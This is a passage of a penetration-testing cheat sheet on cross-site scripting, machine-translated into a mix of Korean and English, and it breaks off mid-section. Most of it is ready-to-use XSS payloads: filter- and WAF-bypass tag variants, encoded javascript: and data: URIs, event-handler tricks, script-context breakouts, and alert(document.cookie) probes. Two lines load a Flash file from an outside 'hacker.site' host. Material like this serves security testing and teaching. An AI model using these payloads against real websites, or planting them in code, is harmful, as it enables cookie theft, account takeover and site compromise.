ํ•˜์ง€๋งŒ tags/attributes์˜ black/whitelisting์ด ์ ์šฉ๋˜๋Š” ๊ฒฝ์šฐ, ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ํƒœ๊ทธ๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด brute-force which tags๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์ผ๋‹จ located which tags are allowed ํ•˜๋ฉด, ์ฐพ์€ ์œ ํšจํ•œ ํƒœ๊ทธ ๋‚ด๋ถ€์—์„œ ๋ฌธ๋งฅ์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด brute-force attributes/events๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. ๊ทธ๋Ÿฐ ๋‹ค์Œ Burp intruder๋ฅผ ์‚ฌ์šฉํ•ด ํƒœ๊ทธ๋“ค์„ ์ „๋ถ€ ์ „์†กํ•˜๊ณ  WAF๊ฐ€ ์•…์„ฑ์œผ๋กœ ํŒ๋ณ„ํ•˜์ง€ ์•Š์€ ํƒœ๊ทธ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํƒœ๊ทธ๋ฅผ ์ฐพ์•„๋‚ด๋ฉด, ์œ ํšจํ•œ ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ๋ชจ๋“  ์ด๋ฒคํŠธ๋ฅผ brute force all the eventsํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๊ฐ™์€ ํŽ˜์ด์ง€์—์„œ _Copy events to clipboard_๋ฅผ ํด๋ฆญํ•˜๊ณ  ์ด์ „๊ณผ ๊ฐ™์€ ์ ˆ์ฐจ๋ฅผ ๋”ฐ๋ฅด์„ธ์š”).

Custom tags

์œ ํšจํ•œ HTML ํƒœ๊ทธ๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ๋‹ค๋ฉด, create a custom tag๋ฅผ ๋งŒ๋“ค์–ด onfocus ์†์„ฑ์œผ๋กœ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. XSS ์š”์ฒญ์—์„œ๋Š” URL ๋์— #์„ ๋ถ™์—ฌ ํŽ˜์ด์ง€๊ฐ€ ํ•ด๋‹น ๊ฐ์ฒด์— focus on that object ํ•˜๋„๋ก ํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ execute ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

์–ด๋–ค ํ˜•ํƒœ์˜ blacklist๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋ช‡ ๊ฐ€์ง€ ๊ฐ„๋‹จํ•œ ํŠธ๋ฆญ์œผ๋กœ ์ด๋ฅผ bypassํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

๊ธธ์ด ์šฐํšŒ (small XSSs)

[!NOTE] > ๋‹ค์–‘ํ•œ ํ™˜๊ฒฝ์„ ์œ„ํ•œ ๋” ๋งŽ์€ tiny XSS payload can be found here ๋ฐ here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//โ„กใ›.pw>

๋งˆ์ง€๋ง‰ ๊ฒƒ์€ 2๊ฐœ์˜ unicode ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ 5๊ฐœ๋กœ ํ™•์žฅ๋ฉ๋‹ˆ๋‹ค: telsr
๋” ๋งŽ์€ ์ด๋Ÿฌํ•œ ๋ฌธ์ž๋“ค์€ here.
์–ด๋–ค ๋ฌธ์ž๋“ค์ด ๋ถ„ํ•ด๋˜๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด here.

Click XSS - Clickjacking

์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋ฏธ๋ฆฌ ์ฑ„์›Œ์ง„ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋‚˜ ํผ์„ ํด๋ฆญํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ํŽ˜์ด์ง€๊ฐ€ ์ทจ์•ฝํ•˜๋‹ค๋ฉด abuse Clickjacking๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Impossible - Dangling Markup

๋งŒ์•ฝ ๋‹จ์ง€ HTML ํƒœ๊ทธ์— ์†์„ฑ์„ ๋„ฃ์–ด JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํƒœ๊ทธ๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ•œ๋‹ค๋ฉด, Danglig Markup ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์™œ๋ƒํ•˜๋ฉด JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ ๋„ ์ทจ์•ฝ์ ์„ exploitํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

๋งŒ์•ฝ HTML ํƒœ๊ทธ ๋‚ด๋ถ€์— ์žˆ๋‹ค๋ฉด, ์šฐ์„  ์‹œ๋„ํ•ด๋ณผ ๊ฒƒ์€ ํƒœ๊ทธ์—์„œ **ํƒˆ์ถœ(escape)**ํ•˜์—ฌ previous section์— ์–ธ๊ธ‰๋œ ๊ธฐ๋ฒ•๋“ค ์ค‘ ์ผ๋ถ€๋ฅผ ์‚ฌ์šฉํ•ด JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด๋ณด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
ํƒœ๊ทธ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์—†๋‹ค๋ฉด, JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํƒœ๊ทธ ๋‚ด๋ถ€์— ์ƒˆ๋กœ์šด attributes๋ฅผ ์ƒ์„ฑํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ payload๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (note that in this example double quotes are use to escape from the attribute, you wonโ€™t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

์Šคํƒ€์ผ ์ด๋ฒคํŠธ

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

์†์„ฑ ๋‚ด๋ถ€

์„ค๋ น ์†์„ฑ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์—†๋‹ค ("๊ฐ€ ์ธ์ฝ”๋”ฉ๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๋˜๋Š” ๊ฒฝ์šฐ), ๊ฐ’์ด ๋ฐ˜์˜๋˜๋Š” ์–ด๋–ค ์†์„ฑ์ธ์ง€, ๊ทธ๋ฆฌ๊ณ  ๊ฐ’ ์ „์ฒด๋ฅผ ์ œ์–ดํ•˜๋Š”์ง€ ์ผ๋ถ€๋งŒ ์ œ์–ดํ•˜๋Š”์ง€์— ๋”ฐ๋ผ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, onclick= ๊ฐ™์€ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํด๋ฆญ๋  ๋•Œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ์˜ˆ์‹œ๋Š” href ์†์„ฑ์œผ๋กœ, javascript: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: href="javascript:alert(1)"

HTML ์ธ์ฝ”๋”ฉ/URL ์ธ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•œ ์ด๋ฒคํŠธ ๋‚ด๋ถ€ ์šฐํšŒ

HTML๋กœ ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž๋“ค์€ HTML ํƒœ๊ทธ ์†์„ฑ ๊ฐ’ ์•ˆ์—์„œ ๋Ÿฐํƒ€์ž„์— ๋””์ฝ”๋”ฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์€ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค(ํŽ˜์ด๋กœ๋“œ๋Š” ๊ตต๊ฒŒ ํ‘œ์‹œ๋จ): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

์ฐธ๊ณ ๋กœ ์–ด๋–ค ์ข…๋ฅ˜์˜ HTML ์ธ์ฝ”๋”ฉ์ด๋ผ๋„ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

์ฐธ๊ณ ๋กœ URL encode๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode encode๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ event ๋‚ด๋ถ€์—์„œ Bypass

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

์†์„ฑ ๋‚ด์˜ ํŠน์ˆ˜ ํ”„๋กœํ† ์ฝœ

์—ฌ๊ธฐ์—์„œ๋Š” ์ผ๋ถ€ ์œ„์น˜์—์„œ javascript: ๋˜๋Š” data: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€๋Š” ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์„ ์š”๊ตฌํ•˜๊ณ , ์ผ๋ถ€๋Š” ์š”๊ตฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

์ด ํ”„๋กœํ† ์ฝœ์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜

์ผ๋ฐ˜์ ์œผ๋กœ javascript: ํ”„๋กœํ† ์ฝœ์€ href ์†์„ฑ์„ ํ—ˆ์šฉํ•˜๋Š” ๋ชจ๋“  ํƒœ๊ทธ์—์„œ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๊ทธ๋ฆฌ๊ณ  src ์†์„ฑ์„ ํ—ˆ์šฉํ•˜๋Š” ํƒœ๊ทธ์˜ ๋Œ€๋ถ€๋ถ„์—์„œ๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํ•˜์ง€๋งŒ <img>๋Š” ์ œ์™ธ)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

๋‹ค๋ฅธ ๋‚œ๋…ํ™” ๊ธฐ๋ฒ•

์ด ๊ฒฝ์šฐ HTML encoding๊ณผ Unicode encoding ํŠธ๋ฆญ์€ ์ด์ „ ์„น์…˜์—์„œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์†์„ฑ ์•ˆ์—์„œ๋„ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

๋˜ํ•œ, ์ด๋Ÿฐ ๊ฒฝ์šฐ๋ฅผ ์œ„ํ•œ ๋˜ ๋‹ค๋ฅธ ์œ ์šฉํ•œ ์š”๋ น์ด ์žˆ๋‹ค: ์„ค๋ น javascript:... ๋‚ด๋ถ€์˜ ์ž…๋ ฅ์ด URL encoded๋˜๊ณ  ์žˆ๋”๋ผ๋„, ์‹คํ–‰๋˜๊ธฐ ์ „์— URL decoded๋œ๋‹ค. ๋”ฐ๋ผ์„œ, ์ด์Šค์ผ€์ดํ”„ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌธ์ž์—ด์—์„œ ํ™‘๋”ฐ์˜ดํ‘œ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๊ณ  ๊ทธ๊ฒƒ์ด URL encoded๋˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ณด๋”๋ผ๋„, ์ƒ๊ด€์—†๋‹ค, ์‹คํ–‰ ์‹œ์— ํ•ด์„๋˜์–ด ํ™‘๋”ฐ์˜ดํ‘œ๋กœ ์ธ์‹๋œ๋‹ค.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

์ฐธ๊ณ : ์–ด๋–ค ์ˆœ์„œ๋กœ๋“  URLencode + HTMLencode๋ฅผ ๋‘˜ ๋‹ค ์‚ฌ์šฉํ•ด payload๋ฅผ ์ธ์ฝ”๋”ฉํ•˜๋ ค๊ณ  ํ•˜๋ฉด ์ž‘๋™ํ•˜์ง€ ์•Š๋Š”๋‹ค, ํ•˜์ง€๋งŒ payload ๋‚ด๋ถ€์—์„œ๋Š” ํ˜ผํ•ฉํ•˜์—ฌ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

javascript:์™€ ํ•จ๊ป˜ Hex ๋ฐ Octal encode ์‚ฌ์šฉ

iframe์˜ src ์†์„ฑ(์ ์–ด๋„) ๋‚ด๋ถ€์—์„œ Hex ๋ฐ Octal encode๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ HTML tags to execute JS๋ฅผ ์„ ์–ธํ•  ์ˆ˜ ์žˆ๋‹ค:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

์ž„์˜์˜ <a href= ํƒœ๊ทธ์— ์–ด๋–ค URL์ด๋“  ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ํƒœ๊ทธ๊ฐ€ target="_blank" and rel="opener" ์†์„ฑ์„ ํฌํ•จํ•œ๋‹ค๋ฉด, ์ด ๋™์ž‘์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Reverse Tab Nabbing

on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์šฐํšŒ

๋จผ์ € ์ด ํŽ˜์ด์ง€ (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)์—์„œ ์œ ์šฉํ•œ โ€œonโ€ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
๋งŒ์•ฝ ์ด๋Ÿฌํ•œ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์ƒ์„ฑ์„ ๋ง‰๋Š” blacklist๊ฐ€ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ์šฐํšŒ ๋ฐฉ๋ฒ•๋“ค์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

๋‹ค์Œ here ์— ๋”ฐ๋ฅด๋ฉด ์ด์ œ hidden inputs์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

๊ทธ๋ฆฌ๊ณ  meta tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

์ถœ์ฒ˜: here:

XSS payload inside a hidden attribute๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋Š” victim์„ persuadeํ•˜์—ฌ ํŠน์ • key combination์„ ๋ˆ„๋ฅด๊ฒŒ ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. Firefox Windows/Linux์—์„œ๋Š” ํ‚ค ์กฐํ•ฉ์ด ALT+SHIFT+X์ด๊ณ  OS X์—์„œ๋Š” CTRL+ALT+X์ž…๋‹ˆ๋‹ค. access key attribute์—์„œ ๋‹ค๋ฅธ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ํ‚ค ์กฐํ•ฉ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฒกํ„ฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload๋Š” ๋Œ€๋žต ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: " accesskey="x" onclick="alert(1)" x="

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ

์ด ์„น์…˜์—์„œ๋Š” ์ด๋ฏธ ๋‹ค์–‘ํ•œ ์ธ์ฝ”๋”ฉ์„ ์‚ฌ์šฉํ•œ ์—ฌ๋Ÿฌ ํŠธ๋ฆญ์ด ์†Œ๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์‹œ ๋Œ์•„๊ฐ€์„œ ์–ด๋””์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

HTML ํƒœ๊ทธ์™€ ์†์„ฑ์— ๋Œ€ํ•œ ์šฐํšŒ

์ด์ „ ์„น์…˜์„ ์ฐธ์กฐํ•˜์„ธ์š”: Blacklist Bypasses of the previous section.

JavaScript ์ฝ”๋“œ ์šฐํšŒ

๋‹ค์Œ ์„น์…˜์„ ์ฝ์œผ์„ธ์š”: JavaScript bypass blacklist of the following section.

CSS-Gadgets

์›น์˜ ์•„์ฃผ ์ž‘์€ ๋ถ€๋ถ„์—์„œ XSS๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  ํ•ด๋‹น XSS๊ฐ€ ์–ด๋–ค ์ƒํ˜ธ์ž‘์šฉ์„ ํ•„์š”๋กœ ํ•œ๋‹ค๋ฉด(์˜ˆ: footer์˜ ์ž‘์€ ๋งํฌ์— onmouseover ์š”์†Œ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ), ๊ทธ ์š”์†Œ๊ฐ€ ์ฐจ์ง€ํ•˜๋Š” ์˜์—ญ์„ ๋ณ€๊ฒฝํ•˜์—ฌ ๋งํฌ๊ฐ€ ์‹คํ–‰๋  ํ™•๋ฅ ์„ ๋†’์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์š”์†Œ์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์Šคํƒ€์ผ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

ํ•˜์ง€๋งŒ WAF๊ฐ€ style ์†์„ฑ์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” CSS Styling Gadgets๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ์„ ์ฐพ์•˜๋‹ค๋ฉด

.test {display:block; color: blue; width: 100%}

๊ทธ๋ฆฌ๊ณ 

#someid {top: 0; font-family: Tahoma;}

์ด์ œ ๋งํฌ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ˜•ํƒœ๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

<a href=โ€œโ€ id=someid class=test onclick=alert() a=โ€œโ€>

์ด ํŠธ๋ฆญ์€ ๋‹ค์Œ์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

JavaScript ์ฝ”๋“œ ๋‚ด๋ถ€์— ์ฃผ์ž…

์ด ๊ฒฝ์šฐ ๋‹น์‹ ์˜ input์€ .js ํŒŒ์ผ์˜ JS ์ฝ”๋“œ ๋‚ด๋ถ€๋‚˜ <script>...</script> ํƒœ๊ทธ ์‚ฌ์ด, JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” HTML ์ด๋ฒคํŠธ ์‚ฌ์ด ๋˜๋Š” javascript: ํ”„๋กœํ† ์ฝœ์„ ํ—ˆ์šฉํ•˜๋Š” ์†์„ฑ ์‚ฌ์ด์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค.

์ด์Šค์ผ€์ดํ”„ <script> ํƒœ๊ทธ

๋งŒ์•ฝ ์ฝ”๋“œ๊ฐ€ <script> [...] var input = 'reflected data' [...] </script> ์•ˆ์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด, ๋‹ซ๋Š” <script> ํƒœ๊ทธ๋ฅผ ์‰ฝ๊ฒŒ ์ด์Šค์ผ€์ดํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we ์ž‘์€ ๋”ฐ์˜ดํ‘œ์กฐ์ฐจ ๋‹ซ์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.

JS ์ฝ”๋“œ ๋‚ด๋ถ€

If <> are being sanitised you can still ๋ฌธ์ž์—ด์„ ์ด์Šค์ผ€์ดํ”„ where your input is being ์œ„์น˜ํ•œ and ์ž„์˜์˜ JS๋ฅผ ์‹คํ–‰. Itโ€™s important to JS ๋ฌธ๋ฒ•์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ, because if there are any errors, the JS code wonโ€™t be executed:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break โ†’ inject โ†’ repair pattern

